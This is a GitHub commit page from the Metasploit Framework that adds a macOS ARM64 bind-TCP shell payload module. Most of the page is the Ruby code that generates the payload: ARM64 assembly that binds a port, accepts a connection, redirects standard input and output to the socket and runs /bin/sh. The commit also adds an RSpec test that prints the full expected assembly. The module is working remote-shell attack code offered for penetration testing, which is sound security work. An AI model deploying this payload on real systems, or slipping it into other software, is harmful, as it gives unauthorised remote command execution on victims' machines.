Skip to content

Commit

Permalink
Land #18776, Add osx aarch64 bind tcp payload
Browse files Browse the repository at this point in the history
  • Loading branch information
cgranleese-r7 committed May 31, 2024
2 parents 4edb1e1 + 562e1dc commit 27f5602
Show file tree
Hide file tree
Showing 3 changed files with 379 additions and 0 deletions.
224 changes: 224 additions & 0 deletions modules/payloads/singles/osx/aarch64/shell_bind_tcp.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,224 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
CachedSize = 236

include Msf::Payload::Single
include Msf::Payload::Osx
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(
merge_info(
info,
'Name' => 'OS X x64 Shell Bind TCP',
'Description' => 'Bind an arbitrary command to an arbitrary port',
'Author' => [ 'alanfoster' ],
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_AARCH64,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShellUnix
)
)

# exec payload options
register_options(
[
OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
Opt::LPORT(4444)
]
)
end

def generate(_opts = {})
# Split the cmd string into arg chunks
cmd_str = datastore['CMD']
cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }

cmd = cmd_and_args[0]
args = cmd_and_args[1..]

# Don't smash the real sp register, re-create our own on the x9 scratch register
stack_register = :x9
cmd_string_in_x0 = create_aarch64_string_in_stack(
cmd,
registers: {
destination: :x0,
stack: stack_register
}
)

lport = datastore['LPORT'].to_i
lhost = datastore['LHOST']

lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join
lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }

result = <<~EOF
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
// socket:
mov x0, 0x2 // x0 = AF_INET
mov x1, 0x1 // x1 = SOCK_STREAM
mov x2, 0 // x2 = IPPROTO_IP
movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061
movk x16, #0x0061
svc 0 // system call
// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
mov x13, x0
// int bind(int socket, const struct sockaddr *address, socklen_t address_len);
// bind:
// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16
lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET
movk x1, #0x#{lport_hex}, lsl #16 // sin_port = htons(#{lport})
movk x1, #0x#{lhost_hex[2..3].join}, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)
movk x1, #0x#{lhost_hex[0..1].join}, lsl #48
str x1, [sp, #-8]!
mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it
add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it
mov x2, 16 // x2 = sizeof(struct sockaddr) = 16
movz x16, #0x0200, lsl #16 // x16 = SYS_BIND 0x2000068
movk x16, #0x0068
svc 0
// int listen(int socket, int backlog);
// listen:
mov x0, x13 // x0 = socketfd, initially stored in x13
movz x1, #0 // x1 = backlog = 0
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200006a
movk x16, #0x006a
svc 0
// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);
// accept:
mov x0, x13 // x0 = socketfd, initially stored in x13
mov x1, #0 // x1 = restrict address = NULL
mov x2, #0 // x2 = address_len = 0
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200001e
movk x16, #0x001e
svc 0
// Accepted socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
mov x13, x0
// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
// dup2_calls:
movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a
movk x16, #0x005a
mov x0, x13 // x0 = socket
movz x1, 0 // x1 = STDIN
svc 0 // system call
mov x0, x13 // x0 = socket
movz x1, 1 // x1 = STDOUT
svc 0 // system call
mov x0, x13 // x0 = socket
movz x1, 2 // x1 = STDERR
svc 0 // system call
// int execve(const char *path, char *const argv[], char *const envp[]);
// exec_call:
// Set system call SYS_EXECVE 0x200003b in x16
movz x16, #0x0200, lsl #16
movk x16, #0x003b
mov #{stack_register}, sp // Temporarily move SP into scratch register
// Arg 0: execve - const char *path - Pointer to the program name to run
#{cmd_string_in_x0}
// Push execve arguments, using x1 as a temporary register
#{args.each_with_index.map do |value, index|
"// Push argument #{index}\n" +
create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
end.join("\n")
}
// Arg 1: execve - char *const argv[] - program arguments
#{cmd_and_args.each_with_index.map do |value, index|
bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
[
"// argv[#{index}] = create pointer to base of string value #{value.inspect}",
"mov x1, #{stack_register}",
"sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
"str x1, [#{stack_register}], #8 // Store the pointer in the stack"
].join("\n") + "\n"
end.join("\n")}
// argv[#{cmd_and_args.length}] = NULL
str xzr, [#{stack_register}], #8
// Set execve arg1 to the base of the argv array of pointers
mov x1, #{stack_register}
sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
mov x2, xzr
// System call
svc #0
EOF

compile_aarch64(result)
end

def create_aarch64_string_in_stack(string, registers: {})
target = registers.fetch(:destination, :x0)
stack = registers.fetch(:stack, :x9)

# Instructions for pushing the bytes of the string 8 characters at a time
push_string = string.bytes
.each_slice(8)
.each_with_index
.flat_map do |eight_byte_chunk, _chunk_index|
mov_instructions = eight_byte_chunk
.each_slice(2)
.each_with_index
.map do |two_byte_chunk, index|
two_byte_chunk = two_byte_chunk.reverse
two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
"mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
end
[
"// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
*mov_instructions,
"str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
]
end
push_string = push_string.join("\n") + "\n"

set_target_register_to_base_of_string = <<~EOF
mov #{target}, #{stack} // Store the current stack location in the target register
sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
EOF

result = <<~EOF
#{push_string}
#{set_target_register_to_base_of_string}
EOF

result
end

def align(value, alignment: 8)
return value if value % alignment == 0

value + (alignment - (value % alignment))
end

def compile_aarch64(asm_string)
require 'aarch64/parser'
parser = ::AArch64::Parser.new
asm = parser.parse without_inline_comments(asm_string)

asm.to_binary
end

# Remove any human readable comments that have been inlined
def without_inline_comments(string)
comment_delimiter = '//'
result = string.lines(chomp: true).map do |line|
instruction, _comment = line.split(comment_delimiter, 2)
next if instruction.blank?

instruction
end.compact
result.join("\n") + "\n"
end
end
145 changes: 145 additions & 0 deletions spec/modules/payloads/singles/osx/aarch64/shell_bind_tcp_spec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
require 'rspec'

RSpec.describe 'singles/osx/aarch64/shell_bind_tcp' do
include_context 'Msf::Simple::Framework#modules loading'

let(:subject) do
load_and_create_module(
module_type: 'payload',
reference_name: 'osx/aarch64/shell_bind_tcp',
ancestor_reference_names: [
'singles/osx/aarch64/shell_bind_tcp'
]
)
end
let(:cmd) { nil }
let(:lhost) { '127.0.0.1' }
let(:lport) { '4444' }
let(:datastore_values) { { 'CMD' => cmd, 'LHOST' => lhost, 'LPORT' => lport } }

before(:each) do
subject.datastore.merge!(datastore_values)
end

describe '#generate' do
# Verify that the compile command is called with the expected asm string
def expect_result_to_match(expected_asm)
allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm|
compiled_asm = original.call asm
expect(asm).to match_table(expected_asm)
expect(compiled_asm.length).to be > 0
'mock-aarch64-compiled'
end
expect(subject.generate).to eq 'mock-aarch64-compiled'
end

context 'when the CMD is /bin/bash' do
let(:cmd) { '/bin/bash' }

it 'generates the execve system call payload without arguments present' do
expected = <<~'EOF'
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
// socket:
mov x0, 0x2 // x0 = AF_INET
mov x1, 0x1 // x1 = SOCK_STREAM
mov x2, 0 // x2 = IPPROTO_IP
movz x16, #0x0200, lsl #16 // x16 = SYS_SOCKET 0x2000061
movk x16, #0x0061
svc 0 // system call
// Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
mov x13, x0
// int bind(int socket, const struct sockaddr *address, socklen_t address_len);
// bind:
// mov x0, x13 // x0 = socketfd, already set from previous socket result - additionally stored in x16
lsl x1, x1, #1 // x1 = struct socaddr_in; sin_family=AF_INET
movk x1, #0x5c11, lsl #16 // sin_port = htons(4444)
movk x1, #0x007f, lsl #32 // sin_addr = inet_aton(ip, &addr.sin_addr)
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]!
mov x1, sp // XXX: Should be: add x1, sp, x2, but assembler does not support it
add x1, x1, x2 // XXX: Should be: add x1, sp, x2, but assembler does not support it
mov x2, 16 // x2 = sizeof(struct sockaddr) = 16
movz x16, #0x0200, lsl #16 // x16 = SYS_BIND 0x2000068
movk x16, #0x0068
svc 0
// int listen(int socket, int backlog);
// listen:
mov x0, x13 // x0 = socketfd, initially stored in x13
movz x1, #0 // x1 = backlog = 0
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200006a
movk x16, #0x006a
svc 0
// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);
// accept:
mov x0, x13 // x0 = socketfd, initially stored in x13
mov x1, #0 // x1 = restrict address = NULL
mov x2, #0 // x2 = address_len = 0
movz x16, #0x0200, lsl #16 // x16 = SYS_LISTEN 0x200001e
movk x16, #0x001e
svc 0
// Accepted socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
mov x13, x0
// int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
// dup2_calls:
movz x16, #0x0200, lsl #16 // x16 = SYS_DUP2 0x200005a
movk x16, #0x005a
mov x0, x13 // x0 = socket
movz x1, 0 // x1 = STDIN
svc 0 // system call
mov x0, x13 // x0 = socket
movz x1, 1 // x1 = STDOUT
svc 0 // system call
mov x0, x13 // x0 = socket
movz x1, 2 // x1 = STDERR
svc 0 // system call
// int execve(const char *path, char *const argv[], char *const envp[]);
// exec_call:
// Set system call SYS_EXECVE 0x200003b in x16
movz x16, #0x0200, lsl #16
movk x16, #0x003b
mov x9, sp // Temporarily move SP into scratch register
// Arg 0: execve - const char *path - Pointer to the program name to run
// Next 8 bytes of string: "/bin/bas"
movz x0, #0x622f // "b/"
movk x0, #0x6e69, lsl #16 // "ni"
movk x0, #0x622f, lsl #32 // "b/"
movk x0, #0x7361, lsl #48 // "sa"
str x0, [x9], #8 // Store x0 on x9-stack and increment by 8
// Next 8 bytes of string: "h\x00"
movz x0, #0x0068 // "\x00h"
str x0, [x9], #8 // Store x0 on x9-stack and increment by 8
mov x0, x9 // Store the current stack location in the target register
sub x0, x0, #16 // Update the target register to point to base of the string
// Push execve arguments, using x1 as a temporary register
// Arg 1: execve - char *const argv[] - program arguments
// argv[0] = create pointer to base of string value "/bin/bash\x00"
mov x1, x9
sub x1, x1, #16 // Update the target register to point to base of the string
str x1, [x9], #8 // Store the pointer in the stack
// argv[1] = NULL
str xzr, [x9], #8
// Set execve arg1 to the base of the argv array of pointers
mov x1, x9
sub x1, x1, #16
// Arg 2: execve - char *const envp[] - Environment variables, NULL for now
mov x2, xzr
// System call
svc #0
EOF

expect_result_to_match(expected)
end
end
end
end
10 changes: 10 additions & 0 deletions spec/modules/payloads_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2279,6 +2279,16 @@
reference_name: 'osx/aarch64/meterpreter_reverse_https'
end

context 'osx/aarch64/shell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/osx/aarch64/shell_bind_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'osx/aarch64/shell_bind_tcp'
end

context 'osx/aarch64/meterpreter_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand Down

0 comments on commit 27f5602

Please sign in to comment.